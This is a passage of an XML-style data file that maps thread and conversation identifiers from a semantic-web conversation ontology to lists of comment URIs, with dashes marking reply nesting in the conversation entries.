	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31151306
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_84</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141464
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_27</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142968
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_60</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142392
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145128
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_21</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141928
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142292
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_46</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141394
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141528
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_48</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142234
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145358
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_9</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142392
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146836
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_69</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141640
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143130
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_51</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143258
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_24</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141636
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141786
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142084
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_85</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141644
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_76</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142024
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_99</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141928
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142704
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_15</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141564
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31178628
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_4</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141778
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142128
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145388
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_92</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31151884
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_75</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141444
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141750
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_66</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141612
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142658
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_49</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31151346
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_82</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141444
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145292
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_43</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141512
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_39</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142082
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_102</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146452
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_50</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143622
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_33</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141444
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141818
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31150602
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_67</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145450
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_40</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145646
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_98</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141612
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142168
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31159062
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_14</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141872
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_74</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141416
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_97</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141734
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_88</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141650
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_13</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141482
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_2</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141724
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_64</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141806
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_38</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146878
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_41</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141518
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_32</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141864
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_55</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146284
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_28</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141524
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142728
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_100</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142692
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_31</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141778
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142128
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144894
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_89</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141612
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142168
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142842
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_22</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141822
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142286
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_19</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141604
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142418
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_8</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141636
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141786
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142134
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31150172
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_96</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141514
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143250
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_79</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141612
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142770
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_12</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141636
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142690
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_90</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142662
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_61</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142498
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_86</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141514
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143012
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_91</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141612
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142168
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146594
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_54</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142608
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_25</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142066
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_30</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141524
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142146
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_53</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142626
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_44</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141614
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142536
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_18</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141356
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141694
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_7</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142260
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_20</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141678
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_78</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141604
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31148250
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_103</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31152454
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_17</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143990
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_6</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141444
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143698
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31147670
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_83</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141496
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143174
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_68</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141582
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31151360
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_45</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141346
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141640
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31147330
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_73</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141444
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141818
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31147214
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_47</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141314
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141572
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141928
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144364
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_52</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141612
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31153616
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_80</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142392
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144748
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145598
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_23</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142468
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_37</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141624
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142210
</commentlist>
</thread>
<thread>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#thread_10_02_15_065232_42</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141334
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141444
http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141908
</commentlist>
</thread>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.6</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141312
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142498
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142468
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141806
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146452
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142772
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31146396
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145646
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31143622
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.3</id>
	<commentlist>http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31141778
-http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31142128
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31144894
--http://www.semanticweb.org/ontologies/ConversationInstances.owl#comment10_02_15_065232.31145388
</commentlist>
</conversation>
<conversation>
	<id>http://www.semanticweb.org/ontologies/ConversationInstances.owl#conversation10_02_15_065232.4</id>
